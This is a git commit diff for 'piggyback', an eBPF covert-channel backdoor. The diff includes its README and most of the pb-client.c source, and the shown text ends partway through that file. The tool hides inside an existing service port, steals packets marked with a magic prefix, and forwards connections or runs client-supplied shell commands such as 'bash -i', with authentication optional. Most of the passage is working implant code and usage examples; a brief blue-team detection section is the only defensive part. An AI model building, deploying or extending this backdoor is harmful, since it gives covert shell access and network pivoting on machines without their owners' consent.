piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison.

piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from
  getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED,
  TRUSTED_PUBKEY.

  pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0,
   sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header.

  README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the
  operator looks it up. Removed all the wrong advice about changing it.
This commit is contained in:
Dominik Moritz Roth 2026-04-04 18:12:47 +02:00
parent abd95bf366
commit 50c9b4df35
4 changed files with 412 additions and 454 deletions

136
README.md
View File

@ -1,26 +1,27 @@
# piggyback # piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
steals matching ones before the application sees them, and forwards or executes them. steals matching ones before the application sees them, forwards or executes per the
Normal traffic is unaffected. Zero changes to existing services. client's instruction. Normal traffic is unaffected. Zero changes to existing services.
``` ```
Mode 1 — Plain TCP Mode 1 — Plain TCP
Client Server (:80) Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress │── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header][payload] magic match? │ [MAGIC][header] magic match?
│ YES → TC_ACT_STOLEN → daemon │ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.) │ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL) Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80) Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │ │── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][...] ────────→ TC eBPF ingress │ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
│ inside │ (inner bytes fwd) magic match? → same as Mode 1 │ inside │ (inner bytes fwd) → same as Mode 1
``` ```
Mode 2 is identical server-side. Client establishes real TLS with a configurable Mode 2 is identical server-side. Client sends a real TLS handshake toward
SNI so middleware routing works. Server never handles TLS — simpler, smaller surface. middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works.
Middleware decrypts and forwards inner bytes to the plain TCP backend.
--- ---
@ -41,45 +42,25 @@ sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodi
## Configuration ## Configuration
All config is compile-time. Edit the constants at the top of each file, then `make`. Only two files need editing before compiling. Port must match in both.
### `piggyback.bpf.c` — eBPF kernel program ### `piggyback.bpf.c`
```c ```c
#define PORTS { 80, 8080 } // TCP ports to watch (must match daemon LISTEN_PORT) #define LISTEN_PORT 80 // port to intercept
#define PORTS_N 2 #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // magic byte sequence (keep in sync)
``` ```
### `piggyback.c` — server daemon ### `piggyback.c`
```c ```c
#define IFACE "" // "" = auto-detect default-route interface #define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match eBPF PORTS array #define LISTEN_PORT 80 // must match piggyback.bpf.c
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode) #define AUTH_ENABLED 0 // 1 = require Ed25519 signature
#define FWD_PORT 22 // default forward target port #define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
#define SERVER_IP "1.2.3.4" // own public IPv4 (used in sig replay check)
#define VERBOSE 0
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature on every connection
#define TRUSTED_PUBKEY { 0xAB, 0xCD, ... } // 32-byte pubkey from `make keygen`
``` ```
### `pb-client.c` — client Forward target, action, and target port are **not configured in the daemon**
```c they come from the client packet. The daemon has no idea where to forward until
#define SERVER_IP "1.2.3.4" a client tells it.
#define SERVER_PORT 80
#define LOCAL_PORT 2222 // ssh -p 2222 localhost
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // required for MODE_TLS — change per engagement
#define KEY_PATH "" // Ed25519 private key PEM, or "" to disable auth
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target (ACTION_FORWARD)
#define TARGET_PORT 22
#define SHELL_CMD "bash" // (ACTION_SHELL)
```
> **SNI note**: using the same SNI across deployments is a fingerprint. Change per engagement.
--- ---
@ -89,62 +70,86 @@ All config is compile-time. Edit the constants at the top of each file, then `ma
make make
``` ```
### Generate Ed25519 keypair (for auth) ### Generate Ed25519 keypair (for authenticated mode)
```bash ```bash
make keygen make keygen
# Prints public key hex → paste into TRUSTED_PUBKEY in piggyback.c # Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → set as KEY_PATH in pb-client.c (never copy to target) # Saves engagement.key → pass to pb-client with --key (never copy to target)
``` ```
--- ---
## Usage ## Usage
### Server (target machine)
```bash ```bash
# Server (target machine)
sudo ./piggyback sudo ./piggyback
```
# Client (operator machine) ### Client (operator machine)
./pb-client ```bash
# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222
# Then connect locally # Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
# Then connect
ssh -p 2222 user@localhost ssh -p 2222 user@localhost
``` ```
No CLI flags — all config is baked into the binary at compile time. Full client options:
```
./pb-client <server_ip> <server_port> <local_port> [options]
--mode tcp|tls connection mode (default: tcp)
--sni <hostname> SNI for TLS — must match middleware virtual host config
--key <path> Ed25519 private key PEM (enables auth)
--action forward|shell (default: forward)
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
--cmd <command> shell command for --action shell (default: bash)
-v verbose
```
--- ---
## Auth flow (AUTH_ENABLED=1) ## Auth flow (AUTH_ENABLED=1)
1. `make keygen` — generate Ed25519 keypair 1. `make keygen` — generate Ed25519 keypair
2. Set `TRUSTED_PUBKEY` in `piggyback.c`, `AUTH_ENABLED=1`, recompile daemon 2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon
3. Set `KEY_PATH` in `pb-client.c`, recompile client 3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine)
4. Client sends: `MAGIC` (6 bytes) + signed 80-byte header + optional shell cmd 4. Client sends: `MAGIC` (6) + 80-byte signed header
5. Daemon verifies Ed25519 sig, checks timestamp (±60s window), checks replay ring 5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
6. On pass: dispatches action from header (`ACTION_FORWARD` or `ACTION_SHELL`) 6. On pass: executes action from header
7. On fail: connection dropped silently 7. On fail: connection dropped silently
Signed header format (80 bytes): Signed header format (80 bytes after MAGIC):
``` ```
[0..7] unix timestamp, big-endian uint64 [0..7] unix timestamp, big-endian uint64
[8] action (0x01 = forward, 0x02 = shell) [8] action (0x01=forward, 0x02=shell)
[9..12] target IPv4 (forward) or zeros [9..12] target IPv4
[13..14] target port big-endian or zeros [13..14] target port big-endian
[15] reserved [15] reserved
[16..79] Ed25519 sig over bytes [0..15] + SERVER_IP (4 bytes) [16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
``` ```
Signature covers `SERVER_IP` — a captured packet cannot be replayed to a different host. Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in
no-auth mode reads action+target and skips signature verification.
--- ---
## Detection (Blue Team) ## Detection (Blue Team)
```bash ```bash
tc filter show dev eth0 ingress # TC eBPF filters on interface tc filter show dev eth0 ingress # TC eBPF filters
bpftool prog list # all loaded eBPF programs bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (look for conn_state, pending, daemon_sock) bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
``` ```
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
@ -154,12 +159,7 @@ on internet-facing interfaces.
## Known Limitations ## Known Limitations
- **ACTION_FORWARD target is IPv4 only** — the signed header has 4 bytes for target IP; - **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP
IPv6 forward targets require header format extension - **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry
- **Replay ring is size-bounded** — 256 entries evicted by overwrite, not by time expiry; - **sk_lookup may fail on some kernels** — daemon logs a warning and falls back
with REPLAY_WINDOW_SEC=30 this is sufficient for normal use (works everywhere except strict NAT scenarios)
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back to
connect-back mode (works except behind strict NAT)
- **Magic must fit in first ~6 TCP payload bytes** — split across segments handled
by per-connection eBPF state machine, but only within a 6-byte sliding window
per packet; edge cases with very small MSS possible

View File

@ -1,19 +1,23 @@
// pb-client.c — piggyback client // pb-client.c — piggyback client
// //
// All configuration is via compile-time constants below. // Usage:
// Build: make Run: ./pb-client // ./pb-client <server_ip> <server_port> <local_port> [options]
// //
// Mode 1 (CLIENT_MODE = MODE_TCP): // Options:
// Plain TCP to server, sends MAGIC prefix, splices traffic. // --mode tcp|tls connection mode (default: tcp)
// --sni <hostname> SNI for TLS — must match middleware routing config
// --key <path> Ed25519 private key PEM (enables auth; required if daemon has AUTH_ENABLED=1)
// --action forward|shell what to do on the server (default: forward)
// --target <ip:port> forward target (default: 127.0.0.1:22)
// --cmd <command> shell command for --action shell (default: bash)
// -v verbose
// //
// Mode 2 (CLIENT_MODE = MODE_TLS): // Examples:
// Genuine TLS connection to middleware (SNI required). // ./pb-client 1.2.3.4 80 2222
// Middleware decrypts and forwards inner bytes to plain TCP backend. // ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.example.com
// Server-side eBPF sees raw MAGIC as in Mode 1. // ./pb-client 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22
// // ./pb-client 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'id'
// Auth (KEY_PATH != ""): // ssh -p 2222 user@localhost
// Sends Ed25519-signed 80-byte header after MAGIC.
// Required when daemon has AUTH_ENABLED=1.
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -34,91 +38,87 @@
#include <openssl/evp.h> #include <openssl/evp.h>
#include <openssl/pem.h> #include <openssl/pem.h>
// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling.
#define SERVER_IP "1.2.3.4" // target server IP or hostname
#define SERVER_PORT 80 // target port
#define LOCAL_PORT 2222 // local listener port (ssh -p LOCAL_PORT localhost)
// Connection mode
#define CLIENT_MODE MODE_TCP // MODE_TCP or MODE_TLS
#define SNI "" // SNI hostname — required for MODE_TLS
// Auth — leave KEY_PATH "" to disable (no signed header sent)
// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon.
#define KEY_PATH "" // e.g. "engagement.key" (PEM, Ed25519 private key)
#define CLIENT_ACTION ACTION_FORWARD // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP "127.0.0.1" // forward target IPv4 (ACTION_FORWARD)
#define TARGET_PORT 22 // forward target port (ACTION_FORWARD)
#define SHELL_CMD "bash" // shell command (ACTION_SHELL)
#define VERBOSE 0 // 1 = debug logging
// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ────────────── // ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6 #define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature #define HEADER_LEN 80
#define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9
#define HDR_TARGET_PORT_OFF 13
#define HDR_SIG_OFF 16
#define HDR_MSG_LEN 20
#define ACTION_FORWARD 0x01 #define ACTION_FORWARD 0x01
#define ACTION_SHELL 0x02 #define ACTION_SHELL 0x02
// ── Mode enum ───────────────────────────────────────────────────────────────── typedef enum { MODE_TCP, MODE_TLS } mode_t;
typedef enum { MODE_TCP, MODE_TLS } client_mode_t; // ── Config ────────────────────────────────────────────────────────────────────
// ── Globals ─────────────────────────────────────────────────────────────────── static struct {
char server_ip[256];
int server_port;
int local_port;
mode_t mode;
char sni[256];
char key_path[256];
int action;
char target_ip[64];
int target_port;
char cmd[1024];
int verbose;
} cfg = {
.mode = MODE_TCP,
.action = ACTION_FORWARD,
.target_ip = "127.0.0.1",
.target_port = 22,
.cmd = "bash",
};
static volatile int running = 1; static volatile int running = 1;
static SSL_CTX *ssl_ctx = NULL; static SSL_CTX *ssl_ctx = NULL;
// ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) #define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) #define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) #define log_dbg(fmt, ...) do { if (cfg.verbose) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Abstract I/O over plain TCP or TLS ─────────────────────────────────────── // ── Abstract I/O ─────────────────────────────────────────────────────────────
struct conn { int fd; SSL *ssl; }; struct conn { int fd; SSL *ssl; };
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) { static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len); return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
} }
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static void conn_close(struct conn *c) { static void conn_close(struct conn *c) {
if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; } if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
if (c->fd >= 0) { close(c->fd); c->fd = -1; } if (c->fd >= 0) { close(c->fd); c->fd = -1; }
} }
// ── Bidirectional splice ────────────────────────────────────────────────────── // ── Splice ────────────────────────────────────────────────────────────────────
static void splice_loop(int local_fd, struct conn *remote) { static void splice_loop(int local_fd, struct conn *remote) {
int epfd = epoll_create1(0); int epfd = epoll_create1(0);
struct epoll_event ev, evs[2]; struct epoll_event ev, evs[2];
char buf[65536]; char buf[65536];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev); ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev);
ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev); ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
while (running) { while (running) {
int n = epoll_wait(epfd, evs, 2, 1000); int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) { for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
if (evs[i].data.fd == local_fd) { if (evs[i].data.fd == local_fd) {
ssize_t r = read(local_fd, buf, sizeof(buf)); ssize_t r = read(local_fd, buf, sizeof(buf)); if (r<=0) goto done;
if (r <= 0) goto done; for (ssize_t w=0; w<r;) { ssize_t s=conn_write(remote,buf+w,r-w); if(s<=0) goto done; w+=s; }
ssize_t w = 0;
while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; }
} else { } else {
ssize_t r = conn_read(remote, buf, sizeof(buf)); ssize_t r = conn_read(remote, buf, sizeof(buf)); if (r<=0) goto done;
if (r <= 0) goto done; for (ssize_t w=0; w<r;) { ssize_t s=write(local_fd,buf+w,r-w); if(s<=0) goto done; w+=s; }
ssize_t w = 0;
while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; }
} }
} }
} }
@ -126,38 +126,38 @@ done:
close(epfd); close(epfd);
} }
// ── Ed25519 signed header ───────────────────────────────────────────────────── // ── Build and send 80-byte header ─────────────────────────────────────────────
// //
// Sends 80 bytes after MAGIC: // Always sent after MAGIC. Without --key: timestamp=0, sig=zeros.
// [0..7] timestamp big-endian uint64 // Daemon reads action+target from header regardless of auth mode.
// [8] action
// [9..12] target IPv4 (ACTION_FORWARD) or zeros
// [13..14] target port big-endian or zeros
// [15] reserved
// [16..79] Ed25519 sig over bytes [0..15] + server_ip[4]
static int send_auth_header(struct conn *remote, uint32_t server_ip_be) { static int send_header(struct conn *remote, uint32_t server_ip_be) {
uint8_t fields[16] = {0}; uint8_t hdr[HEADER_LEN] = {0};
// timestamp (zeros if no key — daemon in no-auth mode ignores it)
if (cfg.key_path[0]) {
uint64_t ts = (uint64_t)time(NULL); uint64_t ts = (uint64_t)time(NULL);
for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; } for (int i = 7; i >= 0; i--) { hdr[HDR_TIMESTAMP_OFF + i] = ts & 0xff; ts >>= 8; }
fields[8] = CLIENT_ACTION;
if (CLIENT_ACTION == ACTION_FORWARD) {
uint32_t tip = 0;
inet_pton(AF_INET, TARGET_IP, &tip);
memcpy(fields + 9, &tip, 4);
uint16_t tport = htons(TARGET_PORT);
memcpy(fields + 13, &tport, 2);
} }
uint8_t msg[20]; hdr[HDR_ACTION_OFF] = (uint8_t)cfg.action;
memcpy(msg, fields, 16);
if (cfg.action == ACTION_FORWARD) {
uint32_t tip = 0;
inet_pton(AF_INET, cfg.target_ip, &tip);
memcpy(hdr + HDR_TARGET_IP_OFF, &tip, 4);
uint16_t tport = htons((uint16_t)cfg.target_port);
memcpy(hdr + HDR_TARGET_PORT_OFF, &tport, 2);
}
// Sign if key provided
if (cfg.key_path[0]) {
uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16);
memcpy(msg + 16, &server_ip_be, 4); memcpy(msg + 16, &server_ip_be, 4);
FILE *f = fopen(KEY_PATH, "r"); FILE *f = fopen(cfg.key_path, "r");
if (!f) { perror("fopen privkey"); return -1; } if (!f) { perror("fopen key"); return -1; }
EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL); EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
fclose(f); fclose(f);
if (!pkey) { ERR_print_errors_fp(stderr); return -1; } if (!pkey) { ERR_print_errors_fp(stderr); return -1; }
@ -170,27 +170,22 @@ static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1; EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
if (ctx) EVP_MD_CTX_free(ctx); if (ctx) EVP_MD_CTX_free(ctx);
EVP_PKEY_free(pkey); EVP_PKEY_free(pkey);
if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; } if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
memcpy(hdr + HDR_SIG_OFF, sig, 64);
}
uint8_t header[HEADER_LEN]; if (conn_write(remote, hdr, HEADER_LEN) != HEADER_LEN) {
memcpy(header, fields, 16); log_err("write header failed"); return -1;
memcpy(header + 16, sig, 64);
if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) {
log_err("write auth header failed"); return -1;
} }
return 0; return 0;
} }
// ── Connect to server ───────────────────────────────────────────────────────── // ── TCP connect ───────────────────────────────────────────────────────────────
static int tcp_connect(const char *host, int port) { static int tcp_connect(const char *host, int port) {
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM }; struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
struct addrinfo *res; struct addrinfo *res;
char port_str[8]; char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port);
snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) { if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port); return -1; log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
} }
@ -217,50 +212,50 @@ static void *conn_thread(void *arg) {
struct conn remote = { .fd = -1, .ssl = NULL }; struct conn remote = { .fd = -1, .ssl = NULL };
remote.fd = tcp_connect(SERVER_IP, SERVER_PORT); remote.fd = tcp_connect(cfg.server_ip, cfg.server_port);
if (remote.fd < 0) goto done; if (remote.fd < 0) goto done;
if (CLIENT_MODE == MODE_TLS) { if (cfg.mode == MODE_TLS) {
if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; }
remote.ssl = SSL_new(ssl_ctx); remote.ssl = SSL_new(ssl_ctx);
if (!remote.ssl) goto done; if (!remote.ssl) goto done;
SSL_set_fd(remote.ssl, remote.fd); SSL_set_fd(remote.ssl, remote.fd);
if (strlen(SNI) > 0) SSL_set_tlsext_host_name(remote.ssl, cfg.sni);
SSL_set_tlsext_host_name(remote.ssl, SNI);
if (SSL_connect(remote.ssl) != 1) { if (SSL_connect(remote.ssl) != 1) {
ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done; ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
} }
log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl)); log_dbg("TLS: %s", SSL_get_cipher(remote.ssl));
} }
// Send MAGIC // MAGIC
if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) { if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
log_err("write magic failed"); goto done; log_err("write magic failed"); goto done;
} }
// Send signed header if auth enabled // Header (always — carries action+target; signed if --key set)
if (strlen(KEY_PATH) > 0) { {
uint32_t server_ip_be = 0; uint32_t server_ip_be = 0;
struct addrinfo hints = { .ai_family = AF_INET }; struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
struct addrinfo *res; struct addrinfo *res;
if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) { if (getaddrinfo(cfg.server_ip, NULL, &hints, &res) == 0) {
server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr; server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
freeaddrinfo(res); freeaddrinfo(res);
} }
if (send_auth_header(&remote, server_ip_be) != 0) goto done; if (send_header(&remote, server_ip_be) != 0) goto done;
log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION);
if (CLIENT_ACTION == ACTION_SHELL) {
size_t cmdlen = strlen(SHELL_CMD);
if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) {
log_err("write shell cmd failed"); goto done;
} }
// Shell command follows header for ACTION_SHELL
if (cfg.action == ACTION_SHELL) {
size_t len = strlen(cfg.cmd);
if (conn_write(&remote, cfg.cmd, len) != (ssize_t)len) {
log_err("write cmd failed"); goto done;
} }
} }
log_info("connected [%s%s]", log_info("%s:%d [%s%s] action=%s",
CLIENT_MODE == MODE_TLS ? "TLS" : "TCP", cfg.server_ip, cfg.server_port,
strlen(KEY_PATH) > 0 ? " auth=ed25519" : ""); cfg.mode == MODE_TLS ? "TLS" : "TCP",
cfg.key_path[0] ? " signed" : "",
cfg.action == ACTION_FORWARD ? "forward" : "shell");
splice_loop(local_fd, &remote); splice_loop(local_fd, &remote);
@ -270,27 +265,86 @@ done:
return NULL; return NULL;
} }
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; } static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Usage ─────────────────────────────────────────────────────────────────────
static void usage(const char *prog) {
fprintf(stderr,
"Usage: %s <server_ip> <server_port> <local_port> [options]\n"
"\n"
" --mode tcp|tls (default: tcp)\n"
" --sni <hostname> SNI for TLS — must match middleware routing\n"
" --key <path> Ed25519 private key PEM (enables signed auth)\n"
" --action forward|shell (default: forward)\n"
" --target <ip:port> forward target (default: 127.0.0.1:22)\n"
" --cmd <command> shell command (default: bash)\n"
" -v verbose\n"
"\n"
" %s 1.2.3.4 80 2222\n"
" %s 1.2.3.4 443 2222 --mode tls --sni internal.corp.com\n"
" %s 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22\n"
" %s 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'bash -i'\n"
" ssh -p 2222 user@localhost\n",
prog, prog, prog, prog, prog);
}
// ── Main ────────────────────────────────────────────────────────────────────── // ── Main ──────────────────────────────────────────────────────────────────────
int main(void) { int main(int argc, char **argv) {
if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) { int positional = 0;
fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1; for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--mode") && i+1 < argc) {
i++;
if (!strcmp(argv[i], "tcp")) cfg.mode = MODE_TCP;
else if (!strcmp(argv[i], "tls")) cfg.mode = MODE_TLS;
else { fprintf(stderr, "unknown mode: %s\n", argv[i]); return 1; }
} else if (!strcmp(argv[i], "--sni") && i+1 < argc) {
strncpy(cfg.sni, argv[++i], sizeof(cfg.sni)-1);
} else if (!strcmp(argv[i], "--key") && i+1 < argc) {
strncpy(cfg.key_path, argv[++i], sizeof(cfg.key_path)-1);
} else if (!strcmp(argv[i], "--action") && i+1 < argc) {
i++;
if (!strcmp(argv[i], "forward")) cfg.action = ACTION_FORWARD;
else if (!strcmp(argv[i], "shell")) cfg.action = ACTION_SHELL;
else { fprintf(stderr, "unknown action: %s\n", argv[i]); return 1; }
} else if (!strcmp(argv[i], "--target") && i+1 < argc) {
i++;
char *colon = strrchr(argv[i], ':');
if (!colon) { fprintf(stderr, "--target needs ip:port\n"); return 1; }
*colon = '\0';
strncpy(cfg.target_ip, argv[i], sizeof(cfg.target_ip)-1);
cfg.target_port = atoi(colon+1);
} else if (!strcmp(argv[i], "--cmd") && i+1 < argc) {
strncpy(cfg.cmd, argv[++i], sizeof(cfg.cmd)-1);
} else if (!strcmp(argv[i], "-v")) {
cfg.verbose = 1;
} else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) {
usage(argv[0]); return 0;
} else if (argv[i][0] != '-') {
switch (positional++) {
case 0: strncpy(cfg.server_ip, argv[i], sizeof(cfg.server_ip)-1); break;
case 1: cfg.server_port = atoi(argv[i]); break;
case 2: cfg.local_port = atoi(argv[i]); break;
default: fprintf(stderr, "unexpected: %s\n", argv[i]); return 1;
}
} else {
fprintf(stderr, "unknown option: %s\n", argv[i]); return 1;
}
} }
signal(SIGINT, on_signal); if (positional < 3) { usage(argv[0]); return 1; }
signal(SIGTERM, on_signal); if (cfg.mode == MODE_TLS && !cfg.sni[0]) {
signal(SIGPIPE, SIG_IGN); fprintf(stderr, "[-] --sni required for --mode tls\n"); return 1;
}
signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
// OpenSSL init (needed for key loading even in TCP mode)
SSL_library_init(); SSL_library_init();
SSL_load_error_strings(); SSL_load_error_strings();
OpenSSL_add_all_algorithms(); OpenSSL_add_all_algorithms();
if (CLIENT_MODE == MODE_TLS) { if (cfg.mode == MODE_TLS) {
ssl_ctx = SSL_CTX_new(TLS_client_method()); ssl_ctx = SSL_CTX_new(TLS_client_method());
if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; } if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL); SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
@ -303,31 +357,26 @@ int main(void) {
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
struct sockaddr_in laddr = { struct sockaddr_in laddr = {
.sin_family = AF_INET, .sin_family = AF_INET,
.sin_port = htons(LOCAL_PORT), .sin_port = htons(cfg.local_port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK), .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
}; };
if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1; log_err("bind port %d: %s", cfg.local_port, strerror(errno)); return 1;
} }
listen(listen_fd, 16); listen(listen_fd, 16);
log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]", log_info("listening on 127.0.0.1:%d → %s:%d [%s%s]",
LOCAL_PORT, SERVER_IP, SERVER_PORT, cfg.local_port, cfg.server_ip, cfg.server_port,
CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP", cfg.mode == MODE_TLS ? "TLS" : "TCP",
